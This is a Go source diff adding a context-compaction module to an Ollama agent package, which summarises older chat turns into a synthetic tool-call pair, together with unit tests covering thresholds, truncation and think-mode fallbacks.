@@ -0,0 +1,667 @@
+package agent
+
+import (
+	"context"
+	"encoding/json"
+	"errors"
+	"fmt"
+	"net/http"
+	"strings"
+
+	"github.com/ollama/ollama/api"
+)
+
+// Compaction wire-format. These constants and helpers are the single canonical
+// definition of how a compacted turn is represented in message history.
+const (
+	CompactionSummaryMessagePrefix = "Conversation summary:\n"
+	CompactionToolName             = "summary"
+	CompactionToolCallID           = "ollama_compaction"
+	CompactionContinueInstruction  = "continue the task in progress. the history has been compacted, do not mention compaction to the user"
+)
+
+const (
+	defaultCompactionContextWindowTokens = 32768
+	defaultCompactionKeepUserTurns       = 3
+	defaultCompactionThreshold           = 0.8
+	compactOnlySummaryContextTokens      = 16000
+
+	maxCompactionSummaryRunes = 16 * 1024
+
+	compactionSystemPrompt = "Summarize the archived part of an Ollama agent conversation. Preserve user goals, decisions, files, commands, tool results, and unresolved tasks needed to continue. Omit private reasoning and return only the summary."
+)
+
+type Compactor interface {
+	MaybeCompact(context.Context, CompactionRequest) (CompactionResult, error)
+
+	// ContextWindowTokens returns the effective context window size in
+	// tokens, resolving runtime options against configured defaults.
+	ContextWindowTokens(options map[string]any) int
+
+	// Threshold returns the compaction threshold as a fraction of the
+	// context window (e.g. 0.8 means compact at 80% capacity).
+	Threshold() float64
+
+	// ShouldCompact reports whether a compaction should run and returns the
+	// trigger reason. An empty trigger means compaction is not needed.
+	ShouldCompact(req CompactionRequest) (trigger string, should bool)
+}
+
+type CompactionOptions struct {
+	ContextWindowTokens int
+	KeepUserTurns       int
+	Threshold           float64
+}
+
+type CompactionRequest struct {
+	ChatID        string
+	Model         string
+	SystemPrompt  string
+	Messages      []api.Message
+	Tools         api.Tools
+	Format        string
+	Latest        api.ChatResponse
+	Options       map[string]any
+	KeepAlive     *api.Duration
+	Think         *api.ThinkValue
+	Force         bool
+	ContinueTask  bool
+	KeepUserTurns *int
+	Progress      func(CompactionProgress)
+}
+
+type CompactionProgress struct {
+	Tokens int
+}
+
+type CompactionResult struct {
+	Messages  []api.Message
+	Compacted bool
+	Due       bool
+	Summary   string
+	Reason    string
+}
+
+type SimpleCompactor struct {
+	Client  ChatClient
+	Options CompactionOptions
+}
+
+func (c *SimpleCompactor) MaybeCompact(ctx context.Context, req CompactionRequest) (CompactionResult, error) {
+	result := CompactionResult{Messages: req.Messages}
+	if c == nil {
+		return result, nil
+	}
+
+	result.Due = req.Force || c.shouldCompact(req)
+	if !result.Due {
+		return result, nil
+	}
+	if c.Client == nil {
+		result.Reason = "compaction is unavailable"
+		return result, nil
+	}
+
+	keepUserTurns := c.keepUserTurns(req.Options)
+	if req.KeepUserTurns != nil {
+		keepUserTurns = *req.KeepUserTurns
+	}
+	prefix, previousSummary, archive, suffix, _, ok := splitCompactionMessages(req.Messages, keepUserTurns)
+	if !ok || len(archive) == 0 {
+		result.Reason = "nothing to compact"
+		return result, nil
+	}
+
+	summary, err := c.summarize(ctx, req, previousSummary, archive)
+	if err != nil {
+		result.Reason = err.Error()
+		return result, err
+	}
+	summary = truncateCompactionSummary(strings.TrimSpace(summary))
+	if summary == "" {
+		summary, err = c.summarizeEmptyFallback(ctx, req, previousSummary, archive)
+		if err != nil {
+			result.Reason = err.Error()
+			return result, err
+		}
+		summary = truncateCompactionSummary(strings.TrimSpace(summary))
+	}
+	if summary == "" {
+		result.Reason = "summary was empty"
+		return result, nil
+	}
+
+	compacted := make([]api.Message, 0, len(prefix)+len(suffix)+2)
+	compacted = append(compacted, prefix...)
+	compacted = append(compacted, CompactionSummaryMessages(summary, req.ContinueTask)...)
+	compacted = append(compacted, suffix...)
+	result.Messages = compacted
+	result.Compacted = true
+	result.Summary = summary
+	return result, nil
+}
+
+func (c *SimpleCompactor) shouldCompact(req CompactionRequest) bool {
+	contextWindow := c.contextWindowTokens(req.Options)
+	threshold := int(float64(contextWindow) * c.threshold())
+	if threshold <= 0 {
+		return false
+	}
+	if req.Latest.PromptEvalCount > 0 && req.Latest.PromptEvalCount >= threshold {
+		return true
+	}
+	return estimateCompactionRequestTokens(req) >= threshold
+}
+
+func (c *SimpleCompactor) contextWindowTokens(options map[string]any) int {
+	return ResolveContextWindowTokens(options, c.Options.ContextWindowTokens)
+}
+
+// ContextWindowTokens resolves the effective context window from runtime
+// options or configured defaults. Satisfies the Compactor interface.
+func (c *SimpleCompactor) ContextWindowTokens(options map[string]any) int {
+	if c == nil {
+		return 0
+	}
+	return c.contextWindowTokens(options)
+}
+
+func (c *SimpleCompactor) threshold() float64 {
+	return ResolveCompactionThreshold(c.Options.Threshold)
+}
+
+// Threshold returns the configured compaction threshold fraction. Satisfies
+// the Compactor interface.
+func (c *SimpleCompactor) Threshold() float64 {
+	if c == nil {
+		return 0
+	}
+	return c.threshold()
+}
+
+// ShouldCompact reports whether compaction is due and the trigger reason.
+// Satisfies the Compactor interface.
+func (c *SimpleCompactor) ShouldCompact(req CompactionRequest) (string, bool) {
+	if c == nil {
+		return "", false
+	}
+	if req.Force {
+		return "force", true
+	}
+	if c.shouldCompact(req) {
+		contextWindow := c.contextWindowTokens(req.Options)
+		threshold := int(float64(contextWindow) * c.threshold())
+		if req.Latest.PromptEvalCount > 0 && req.Latest.PromptEvalCount >= threshold {
+			return "prompt_eval", true
+		}
+		return "estimate", true
+	}
+	return "", false
+}
+
+func (c *SimpleCompactor) keepUserTurns(options map[string]any) int {
+	contextWindow := c.contextWindowTokens(options)
+	if contextWindow > 0 && contextWindow < compactOnlySummaryContextTokens {
+		return 0
+	}
+	if c.Options.KeepUserTurns > 0 {
+		return c.Options.KeepUserTurns
+	}
+	return defaultCompactionKeepUserTurns
+}
+
+func ResolveContextWindowTokens(options map[string]any, configured int) int {
+	if n := intOption(options, "num_ctx"); n > 0 {
+		return n
+	}
+	if configured > 0 {
+		return configured
+	}
+	return defaultCompactionContextWindowTokens
+}
+
+func ResolveCompactionThreshold(configured float64) float64 {
+	if configured > 0 {
+		return configured
+	}
+	return defaultCompactionThreshold
+}
+
+func (c *SimpleCompactor) summarize(ctx context.Context, req CompactionRequest, previousSummary string, archive []api.Message) (string, error) {
+	body, err := compactionPrompt(previousSummary, archive, c.compactionPromptBodyBudgetTokens(req.Options))
+	if err != nil {
+		return "", err
+	}
+
+	chatReq := &api.ChatRequest{
+		Model: req.Model,
+		Messages: []api.Message{
+			{
+				Role:    "system",
+				Content: compactionSystemPrompt,
+			},
+			{
+				Role:    "user",
+				Content: body,
+			},
+		},
+		Options: req.Options,
+		Think:   req.Think,
+	}
+	if req.KeepAlive != nil {
+		chatReq.KeepAlive = req.KeepAlive
+	}
+
+	var summary strings.Builder
+	if err := c.Client.Chat(ctx, chatReq, func(response api.ChatResponse) error {
+		summary.WriteString(response.Message.Content)
+		if req.Progress != nil {
+			tokens := response.EvalCount
+			if tokens <= 0 {
+				tokens = estimateCompactionTokens(summary.String())
+			}
+			req.Progress(CompactionProgress{Tokens: tokens})
+		}
+		return nil
+	}); err != nil {
+		return "", err
+	}
+	return summary.String(), nil
+}
+
+func (c *SimpleCompactor) summarizeEmptyFallback(ctx context.Context, req CompactionRequest, previousSummary string, archive []api.Message) (string, error) {
+	retry := req
+	retry.Think = &api.ThinkValue{Value: false}
+	summary, err := c.summarize(ctx, retry, previousSummary, archive)
+	if err == nil {
+		return summary, nil
+	}
+	if !isUnsupportedCompactionThinkError(err) {
+		return "", err
+	}
+	if req.Think == nil {
+		return "", nil
+	}
+	retry.Think = nil
+	return c.summarize(ctx, retry, previousSummary, archive)
+}
+
+func isUnsupportedCompactionThinkError(err error) bool {
+	if err == nil {
+		return false
+	}
+	text := strings.ToLower(err.Error())
+	if !strings.Contains(text, "think") {
+		return false
+	}
+	var statusErr api.StatusError
+	if errors.As(err, &statusErr) && statusErr.StatusCode != 0 {
+		return statusErr.StatusCode == http.StatusBadRequest
+	}
+	return strings.Contains(text, "does not support") || strings.Contains(text, "not supported") || strings.Contains(text, "unsupported")
+}
+
+// compactionSummaryMessageForTask renders a compaction summary as the content
+// string stored on the synthetic tool-result message.
+func compactionSummaryMessageForTask(summary string, continueTask bool) string {
+	content := CompactionSummaryMessagePrefix + strings.TrimSpace(summary)
+	if continueTask {
+		content = strings.TrimSpace(content) + "\n\n" + CompactionContinueInstruction
+	}
+	return content
+}
+
+// CompactionSummaryMessages renders a compaction summary as the assistant
+// tool-call plus tool-result pair that represents a compacted turn in the
+// message history.
+func CompactionSummaryMessages(summary string, continueTask bool) []api.Message {
+	return []api.Message{
+		{
+			Role: "assistant",
+			ToolCalls: []api.ToolCall{{
+				ID: CompactionToolCallID,
+				Function: api.ToolCallFunction{
+					Name: CompactionToolName,
+				},
+			}},
+		},
+		{
+			Role:       "tool",
+			ToolName:   CompactionToolName,
+			ToolCallID: CompactionToolCallID,
+			Content:    compactionSummaryMessageForTask(summary, continueTask),
+		},
+	}
+}
+
+func (c *SimpleCompactor) compactionPromptBodyBudgetTokens(options map[string]any) int {
+	contextWindow := c.contextWindowTokens(options)
+	threshold := int(float64(contextWindow) * c.threshold())
+	if threshold <= 0 {
+		return 0
+	}
+	systemTokens := estimateCompactionTokens("system") + estimateCompactionTokens(compactionSystemPrompt)
+	userRoleTokens := estimateCompactionTokens("user")
+	budget := threshold - systemTokens - userRoleTokens
+	if budget <= 0 {
+		return 0
+	}
+	return budget
+}
+
+func truncateCompactionSummary(summary string) string {
+	return Truncate(summary, TruncateConfig{
+		MaxRunes: maxCompactionSummaryRunes,
+		Label:    "summary",
+	})
+}
+
+func estimateCompactionTokens(text string) int {
+	text = strings.TrimSpace(text)
+	if text == "" {
+		return 0
+	}
+	return ApproximateTokens(len([]rune(text)))
+}
+
+func estimateMessagesTokens(messages []api.Message) int {
+	var total int
+	for _, msg := range messages {
+		total += estimateCompactionTokens(msg.Role)
+		total += estimateCompactionTokens(msg.Content)
+		total += estimateCompactionTokens(msg.Thinking)
+		total += estimateCompactionTokens(msg.ToolName)
+		total += estimateCompactionTokens(msg.ToolCallID)
+		for _, call := range msg.ToolCalls {
+			total += estimateCompactionTokens(call.Function.Name)
+			total += estimateCompactionTokens(call.Function.Arguments.String())
+		}
+	}
+	return total
+}
+
+func estimateCompactionRequestTokens(req CompactionRequest) int {
+	requestMessages := sanitizeMessagesForEstimate(req.Messages)
+	if strings.TrimSpace(req.SystemPrompt) != "" {
+		requestMessages = make([]api.Message, 0, len(req.Messages)+1)
+		requestMessages = append(requestMessages, api.Message{Role: "system", Content: strings.TrimSpace(req.SystemPrompt)})
+		requestMessages = append(requestMessages, sanitizeMessagesForEstimate(req.Messages)...)
+	}
+
+	payload := struct {
+		Messages []api.Message   `json:"messages,omitempty"`
+		Tools    api.Tools       `json:"tools,omitempty"`
+		Format   json.RawMessage `json:"format,omitempty"`
+	}{
+		Messages: requestMessages,
+		Tools:    req.Tools,
+	}
+	if rawFormat, ok := compactionFormatForEstimate(req.Format); ok {
+		payload.Format = rawFormat
+	}
+	if data, err := json.Marshal(payload); err == nil {
+		return estimateCompactionTokens(string(data))
+	}
+
+	total := estimateMessagesTokens(requestMessages)
+	total += estimateCompactionTokens(req.Tools.String())
+	total += estimateCompactionTokens(req.Format)
+	return total
+}
+
+func (s *Session) estimateRunPromptTokens(opts RunOptions, messages []api.Message) int {
+	return estimateCompactionRequestTokens(CompactionRequest{
+		SystemPrompt: opts.SystemPrompt,
+		Messages:     messages,
+		Tools:        s.availableTools(),
+		Format:       opts.Format,
+		Options:      opts.Options,
+	})
+}
+
+func (s *Session) checkPreflightPromptBudget(opts RunOptions, messages []api.Message) error {
+	contextWindow := s.contextWindowTokens(opts)
+	if contextWindow <= 0 {
+		return nil
+	}
+	estimated := s.estimateRunPromptTokens(opts, messages)
+	if estimated < contextWindow {
+		return nil
+	}
+	return fmt.Errorf("prompt is too large for the current context (~%d/%d tokens). Reduce the system prompt or message history, compact the conversation, or use a model with a larger context", estimated, contextWindow)
+}
+
+func (s *Session) checkPostCompactionPromptBudget(opts RunOptions, messages []api.Message) error {
+	contextWindow := s.contextWindowTokens(opts)
+	if contextWindow <= 0 {
+		return nil
+	}
+	estimated := s.estimateRunPromptTokens(opts, messages)
+	if estimated < contextWindow {
+		return nil
+	}
+	return fmt.Errorf("history is still too large after compaction (~%d/%d tokens). Start a fresh request, reduce the system prompt or history, or use a model with a larger context", estimated, contextWindow)
+}
+
+func sanitizeMessagesForEstimate(messages []api.Message) []api.Message {
+	requestMessages := sanitizeMessagesForRequest(messages)
+	for i := range requestMessages {
+		// Image token accounting is model-specific. Without the active model's
+		// tokenizer and vision accounting, raw image bytes/base64 make the
+		// estimate look much larger than the prompt the model actually sees.
+		requestMessages[i].Images = nil
+	}
+	return requestMessages
+}
+
+func compactionFormatForEstimate(format string) (json.RawMessage, bool) {
+	format = strings.TrimSpace(format)
+	if format == "" {
+		return nil, false
+	}
+	if format == "json" {
+		return json.RawMessage(`"json"`), true
+	}
+	if !json.Valid([]byte(format)) {
+		return nil, false
+	}
+	return json.RawMessage(format), true
+}
+
+func compactionPrompt(previousSummary string, archive []api.Message, maxTokens int) (string, error) {
+	messages := make([]api.Message, 0, len(archive))
+	for _, msg := range archive {
+		msg.Thinking = ""
+		msg.Images = nil
+		messages = append(messages, msg)
+	}
+	return renderCompactionPrompt(previousSummary, fitCompactionMessagesToBudget(previousSummary, messages, maxTokens))
+}
+
+func renderCompactionPrompt(previousSummary string, messages []api.Message) (string, error) {
+	payload, err := json.MarshalIndent(messages, "", "  ")
+	if err != nil {
+		return "", fmt.Errorf("marshal compaction messages: %w", err)
+	}
+
+	var b strings.Builder
+	if strings.TrimSpace(previousSummary) != "" {
+		b.WriteString("Previous summary:\n")
+		b.WriteString(strings.TrimSpace(previousSummary))
+		b.WriteString("\n\n")
+	}
+	b.WriteString("Messages to archive as JSON:\n")
+	b.Write(payload)
+	return b.String(), nil
+}
+
+func fitCompactionMessagesToBudget(previousSummary string, messages []api.Message, maxTokens int) []api.Message {
+	if maxTokens <= 0 {
+		return messages
+	}
+	fitted := append([]api.Message(nil), messages...)
+	for range 16 {
+		body, err := renderCompactionPrompt(previousSummary, fitted)
+		if err != nil || estimateCompactionTokens(body) <= maxTokens {
+			return fitted
+		}
+
+		idx := largestCompactionContentMessage(fitted)
+		if idx < 0 {
+			return fitted
+		}
+		overageTokens := estimateCompactionTokens(body) - maxTokens
+		currentRunes := len([]rune(fitted[idx].Content))
+		nextRunes := currentRunes - overageTokens*4 - 256
+		if nextRunes >= currentRunes {
+			nextRunes = currentRunes / 2
+		}
+		fitted[idx].Content = truncateToolResultContentTo(fitted[idx].Content, nextRunes)
+	}
+	return fitted
+}
+
+func largestCompactionContentMessage(messages []api.Message) int {
+	idx := -1
+	size := 0
+	for i, msg := range messages {
+		n := len([]rune(msg.Content))
+		if n > size {
+			idx = i
+			size = n
+		}
+	}
+	return idx
+}
+
+func splitCompactionMessages(messages []api.Message, keepUserTurns int) (prefix []api.Message, previousSummary string, archive []api.Message, suffix []api.Message, keptUserTurns int, ok bool) {
+	if keepUserTurns < 0 {
+		keepUserTurns = defaultCompactionKeepUserTurns
+	}
+
+	start := 0
+	for start < len(messages) && messages[start].Role == "system" && !isCompactionSummary(messages[start]) {
+		prefix = append(prefix, messages[start])
+		start++
+	}
+
+	candidates := make([]api.Message, 0, len(messages)-start)
+	for i := start; i < len(messages); i++ {
+		msg := messages[i]
+		if isCompactionSummary(msg) {
+			previousSummary = CompactionSummaryText(msg.Content)
+			continue
+		}
+		if isCompactionToolCall(msg) {
+			if i+1 < len(messages) && isCompactionSummary(messages[i+1]) {
+				previousSummary = CompactionSummaryText(messages[i+1].Content)
+				i++
+			}
+			continue
+		}
+		candidates = append(candidates, msg)
+	}
+
+	userTurnIndexes := make([]int, 0, keepUserTurns)
+	for i := len(candidates) - 1; i >= 0; i-- {
+		if candidates[i].Role == "user" {
+			userTurnIndexes = append(userTurnIndexes, i)
+		}
+	}
+	keptUserTurns = keepUserTurns
+	if len(userTurnIndexes) <= keptUserTurns {
+		keptUserTurns = len(userTurnIndexes) - 1
+	}
+	if keptUserTurns < 0 {
+		keptUserTurns = 0
+	}
+
+	suffixStart := len(candidates)
+	if keptUserTurns > 0 {
+		suffixStart = userTurnIndexes[keptUserTurns-1]
+	}
+	if suffixStart <= 0 || len(candidates[:suffixStart]) == 0 {
+		return prefix, previousSummary, nil, nil, keptUserTurns, false
+	}
+
+	return prefix, previousSummary, candidates[:suffixStart], candidates[suffixStart:], keptUserTurns, true
+}
+
+func isCompactionToolName(name string) bool {
+	return name == CompactionToolName
+}
+
+func isCompactionSummary(msg api.Message) bool {
+	return (msg.Role == "user" || msg.Role == "system" || (msg.Role == "tool" && isCompactionToolName(msg.ToolName))) &&
+		strings.HasPrefix(msg.Content, CompactionSummaryMessagePrefix)
+}
+
+// IsCompactionSummary reports whether msg uses the canonical compaction
+// summary message representation.
+func IsCompactionSummary(msg api.Message) bool {
+	return isCompactionSummary(msg)
+}
+
+// CompactionSummaryContent returns the user-visible summary from msg when it
+// is a canonical compaction summary.
+func CompactionSummaryContent(msg api.Message) (string, bool) {
+	if !isCompactionSummary(msg) {
+		return "", false
+	}
+	return CompactionSummaryText(msg.Content), true
+}
+
+// IsCompactionToolResult reports whether msg is the synthetic tool result used
+// to represent compaction in message history.
+func IsCompactionToolResult(msg api.Message) bool {
+	return msg.Role == "tool" && (isCompactionToolName(msg.ToolName) || msg.ToolCallID == CompactionToolCallID)
+}
+
+// IsCompactionToolCall reports whether msg is the synthetic assistant tool
+// call paired with a compaction summary result.
+func IsCompactionToolCall(msg api.Message) bool {
+	return isCompactionToolCall(msg)
+}
+
+func isCompactionToolCall(msg api.Message) bool {
+	if msg.Role != "assistant" {
+		return false
+	}
+	for _, call := range msg.ToolCalls {
+		if isCompactionToolName(call.Function.Name) {
+			return true
+		}
+	}
+	return false
+}
+
+// CompactionSummaryText reverses CompactionSummaryMessages, returning the
+// user-visible summary text with the prefix and any continuation instruction
+// removed.
+func CompactionSummaryText(content string) string {
+	return strings.TrimSpace(strings.TrimSuffix(
+		strings.TrimSpace(strings.TrimPrefix(content, CompactionSummaryMessagePrefix)),
+		CompactionContinueInstruction,
+	))
+}
+
+func intOption(options map[string]any, key string) int {
+	if options == nil {
+		return 0
+	}
+	switch v := options[key].(type) {
+	case int:
+		return v
+	case int64:
+		return int(v)
+	case float64:
+		return int(v)
+	case float32:
+		return int(v)
+	case json.Number:
+		n, _ := v.Int64()
+		return int(n)
+	default:
+		return 0
+	}
+}

agent/compactor_test.go

@@ -0,0 +1,773 @@
+package agent
+
+import (
+	"context"
+	"net/http"
+	"strings"
+	"testing"
+
+	"github.com/ollama/ollama/api"
+)
+
+type scriptedCompactionClient struct {
+	responses [][]api.ChatResponse
+	errs      []error
+	requests  []*api.ChatRequest
+}
+
+func (c *scriptedCompactionClient) Chat(_ context.Context, req *api.ChatRequest, fn api.ChatResponseFunc) error {
+	c.requests = append(c.requests, req)
+	i := len(c.requests) - 1
+	if i < len(c.responses) {
+		for _, response := range c.responses[i] {
+			if err := fn(response); err != nil {
+				return err
+			}
+		}
+	}
+	if i < len(c.errs) {
+		return c.errs[i]
+	}
+	return nil
+}
+
+func assertCompactionSummaryPair(t *testing.T, messages []api.Message) {
+	t.Helper()
+	if len(messages) != 2 {
+		t.Fatalf("compaction summary pair len = %d, want 2: %#v", len(messages), messages)
+	}
+	if messages[0].Role != "assistant" || len(messages[0].ToolCalls) != 1 || messages[0].ToolCalls[0].Function.Name != CompactionToolName {
+		t.Fatalf("compaction assistant message = %#v", messages[0])
+	}
+	if messages[0].ToolCalls[0].Function.Arguments.Len() != 0 {
+		t.Fatalf("compaction summary tool call should not have arguments: %#v", messages[0].ToolCalls[0].Function.Arguments.ToMap())
+	}
+	if messages[1].Role != "tool" || messages[1].ToolName != CompactionToolName || messages[1].ToolCallID != messages[0].ToolCalls[0].ID {
+		t.Fatalf("compaction tool result = %#v", messages[1])
+	}
+	if !strings.HasPrefix(messages[1].Content, CompactionSummaryMessagePrefix) {
+		t.Fatalf("compaction tool result missing summary prefix: %#v", messages[1])
+	}
+}
+
+func TestSimpleCompactorSummarizesOldMessages(t *testing.T) {
+	client := &fakeClient{
+		responses: [][]api.ChatResponse{{
+			{Message: api.Message{Role: "assistant", Content: "summary"}},
+		}},
+	}
+	compactor := &SimpleCompactor{Client: client, Options: CompactionOptions{
+		ContextWindowTokens: 16000,
+		KeepUserTurns:       2,
+		Threshold:           0.5,
+	}}
+
+	messages := []api.Message{
+		{Role: "system", Content: "stay pinned"},
+		{Role: "user", Content: "old request"},
+		{Role: "assistant", Content: "old answer", Thinking: "hidden"},
+		{Role: "user", Content: "recent one"},
+		{Role: "assistant", Content: "recent answer"},
+		{Role: "user", Content: "recent two"},
+	}
+
+	result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
+		ChatID:   "chat-1",
+		Model:    "model",
+		Messages: messages,
+		Latest:   api.ChatResponse{Metrics: api.Metrics{PromptEvalCount: 12000}},
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if !result.Compacted {
+		t.Fatal("expected compaction")
+	}
+	compacted := result.Messages
+	if len(compacted) != 6 {
+		t.Fatalf("compacted messages = %d, want 6", len(compacted))
+	}
+	if compacted[0].Content != "stay pinned" {
+		t.Fatalf("first message = %#v", compacted[0])
+	}
+	if result.Summary != "summary" {
+		t.Fatalf("result summary = %q", result.Summary)
+	}
+	assertCompactionSummaryPair(t, compacted[1:3])
+	if compacted[3].Content != "recent one" || compacted[5].Content != "recent two" {
+		t.Fatalf("recent turns were not kept: %#v", compacted)
+	}
+	if len(client.requests) != 1 {
+		t.Fatalf("summary requests = %d, want 1", len(client.requests))
+	}
+	if strings.Contains(client.requests[0].Messages[1].Content, "hidden") {
+		t.Fatal("compaction prompt should omit thinking")
+	}
+}
+
+func TestSimpleCompactorKeepsOnlySummaryForSmallContext(t *testing.T) {
+	client := &fakeClient{
+		responses: [][]api.ChatResponse{{
+			{Message: api.Message{Role: "assistant", Content: "small context summary"}},
+		}},
+	}
+	compactor := &SimpleCompactor{Client: client, Options: CompactionOptions{
+		ContextWindowTokens: compactOnlySummaryContextTokens - 1,
+		KeepUserTurns:       3,
+		Threshold:           0.5,
+	}}
+
+	result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
+		ChatID:       "chat-1",
+		Model:        "model",
+		ContinueTask: true,
+		Messages: []api.Message{
+			{Role: "system", Content: "pinned"},
+			{Role: "user", Content: "old request"},
+			{Role: "assistant", Content: "old answer"},
+			{Role: "user", Content: "latest request"},
+		},
+		Latest: api.ChatResponse{Metrics: api.Metrics{PromptEvalCount: 12000}},
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if !result.Compacted {
+		t.Fatal("expected compaction")
+	}
+	if len(result.Messages) != 3 {
+		t.Fatalf("messages = %#v, want system plus compaction summary pair", result.Messages)
+	}
+	if result.Messages[0].Content != "pinned" {
+		t.Fatalf("leading system message not kept: %#v", result.Messages)
+	}
+	assertCompactionSummaryPair(t, result.Messages[1:])
+	if !strings.Contains(result.Messages[2].Content, CompactionContinueInstruction) {
+		t.Fatalf("tool result missing continue instruction: %q", result.Messages[2].Content)
+	}
+}
+
+func TestSimpleCompactorAddsContinueTaskInstructionOnlyToToolResult(t *testing.T) {
+	client := &fakeClient{
+		responses: [][]api.ChatResponse{{
+			{Message: api.Message{Role: "assistant", Content: "summary"}},
+		}},
+	}
+	compactor := &SimpleCompactor{Client: client, Options: CompactionOptions{
+		ContextWindowTokens: 100,
+		KeepUserTurns:       1,
+		Threshold:           0.5,
+	}}
+
+	result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
+		ChatID:       "chat-1",
+		Model:        "model",
+		ContinueTask: true,
+		Messages: []api.Message{
+			{Role: "user", Content: "old request"},
+			{Role: "assistant", Content: "old answer"},
+			{Role: "user", Content: "recent request"},
+		},
+		Latest: api.ChatResponse{Metrics: api.Metrics{PromptEvalCount: 75}},
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if result.Summary != "summary" {
+		t.Fatalf("result summary = %q", result.Summary)
+	}
+	content := result.Messages[1].Content
+	if !strings.Contains(content, CompactionContinueInstruction) {
+		t.Fatalf("tool result missing continue instruction: %q", content)
+	}
+	if got := CompactionSummaryText(content); got != "summary" {
+		t.Fatalf("visible summary text = %q", got)
+	}
+}
+
+func TestSimpleCompactorTruncatesOversizedSummary(t *testing.T) {
+	longSummary := strings.Repeat("x", maxCompactionSummaryRunes+1024)
+	client := &fakeClient{
+		responses: [][]api.ChatResponse{{
+			{Message: api.Message{Role: "assistant", Content: longSummary}},
+		}},
+	}
+	compactor := &SimpleCompactor{Client: client, Options: CompactionOptions{
+		ContextWindowTokens: 100,
+		KeepUserTurns:       1,
+		Threshold:           0.5,
+	}}
+
+	result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
+		ChatID: "chat-1",
+		Model:  "model",
+		Messages: []api.Message{
+			{Role: "user", Content: "old one"},
+			{Role: "assistant", Content: "old answer"},
+			{Role: "user", Content: "recent one"},
+		},
+		Latest: api.ChatResponse{Metrics: api.Metrics{PromptEvalCount: 75}},
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if !result.Compacted {
+		t.Fatal("expected compaction")
+	}
+	if runeCount := len([]rune(result.Summary)); runeCount > maxCompactionSummaryRunes+200 {
+		t.Fatalf("summary runes = %d, want <= %d (plus marker)", runeCount, maxCompactionSummaryRunes)
+	}
+	if !strings.Contains(result.Summary, "[summary truncated:") {
+		t.Fatalf("summary missing truncation marker: %q", result.Summary)
+	}
+	if !strings.Contains(result.Messages[1].Content, "[summary truncated:") {
+		t.Fatalf("compacted message missing truncation marker: %#v", result.Messages)
+	}
+}
+
+func TestSimpleCompactorRetriesEmptySummaryWithThinkFalse(t *testing.T) {
+	client := &scriptedCompactionClient{
+		responses: [][]api.ChatResponse{
+			{{Message: api.Message{Role: "assistant", Thinking: "internal summary plan"}}},
+			{{Message: api.Message{Role: "assistant", Content: "fallback summary"}}},
+		},
+	}
+	compactor := &SimpleCompactor{Client: client, Options: CompactionOptions{
+		ContextWindowTokens: 100,
+		KeepUserTurns:       1,
+		Threshold:           0.5,
+	}}
+
+	result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
+		Model: "model",
+		Messages: []api.Message{
+			{Role: "user", Content: "old request"},
+			{Role: "assistant", Content: "old answer"},
+			{Role: "user", Content: "recent request"},
+		},
+		Force: true,
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if !result.Compacted || result.Summary != "fallback summary" {
+		t.Fatalf("compaction result = %#v", result)
+	}
+	if len(client.requests) != 2 {
+		t.Fatalf("summary requests = %d, want 2", len(client.requests))
+	}
+	if client.requests[0].Think != nil {
+		t.Fatalf("first summary request think = %#v, want nil", client.requests[0].Think)
+	}
+	if client.requests[1].Think == nil || client.requests[1].Think.Value != false {
+		t.Fatalf("fallback summary request think = %#v, want false", client.requests[1].Think)
+	}
+}
+
+func TestSimpleCompactorIgnoresUnsupportedThinkFalseFallback(t *testing.T) {
+	client := &scriptedCompactionClient{
+		responses: [][]api.ChatResponse{
+			{{Message: api.Message{Role: "assistant", Thinking: "internal summary plan"}}},
+			nil,
+		},
+		errs: []error{
+			nil,
+			api.StatusError{StatusCode: http.StatusBadRequest, ErrorMessage: "model does not support thinking"},
+		},
+	}
+	compactor := &SimpleCompactor{Client: client, Options: CompactionOptions{
+		ContextWindowTokens: 100,
+		KeepUserTurns:       1,
+		Threshold:           0.5,
+	}}
+
+	result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
+		Model: "model",
+		Messages: []api.Message{
+			{Role: "user", Content: "old request"},
+			{Role: "assistant", Content: "old answer"},
+			{Role: "user", Content: "recent request"},
+		},
+		Force: true,
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if result.Compacted || result.Reason != "summary was empty" {
+		t.Fatalf("compaction result = %#v", result)
+	}
+	if len(client.requests) != 2 {
+		t.Fatalf("summary requests = %d, want 2", len(client.requests))
+	}
+	if client.requests[1].Think == nil || client.requests[1].Think.Value != false {
+		t.Fatalf("fallback summary request think = %#v, want false", client.requests[1].Think)
+	}
+}
+
+func TestSimpleCompactorFallsBackToUnsetThinkWhenThinkFalseUnsupported(t *testing.T) {
+	client := &scriptedCompactionClient{
+		responses: [][]api.ChatResponse{
+			{{Message: api.Message{Role: "assistant", Thinking: "internal summary plan"}}},
+			nil,
+			{{Message: api.Message{Role: "assistant", Content: "unset think summary"}}},
+		},
+		errs: []error{
+			nil,
+			api.StatusError{StatusCode: http.StatusBadRequest, ErrorMessage: "think level is not supported"},
+			nil,
+		},
+	}
+	compactor := &SimpleCompactor{Client: client, Options: CompactionOptions{
+		ContextWindowTokens: 100,
+		KeepUserTurns:       1,
+		Threshold:           0.5,
+	}}
+	thinkHigh := &api.ThinkValue{Value: "high"}
+
+	result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
+		Model: "model",
+		Messages: []api.Message{
+			{Role: "user", Content: "old request"},
+			{Role: "assistant", Content: "old answer"},
+			{Role: "user", Content: "recent request"},
+		},
+		Think: thinkHigh,
+		Force: true,
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if !result.Compacted || result.Summary != "unset think summary" {
+		t.Fatalf("compaction result = %#v", result)
+	}
+	if len(client.requests) != 3 {
+		t.Fatalf("summary requests = %d, want 3", len(client.requests))
+	}
+	if client.requests[0].Think != thinkHigh {
+		t.Fatalf("first summary request think = %#v, want original", client.requests[0].Think)
+	}
+	if client.requests[1].Think == nil || client.requests[1].Think.Value != false {
+		t.Fatalf("fallback summary request think = %#v, want false", client.requests[1].Think)
+	}
+	if client.requests[2].Think != nil {
+		t.Fatalf("unsupported fallback retry think = %#v, want nil", client.requests[2].Think)
+	}
+}
+
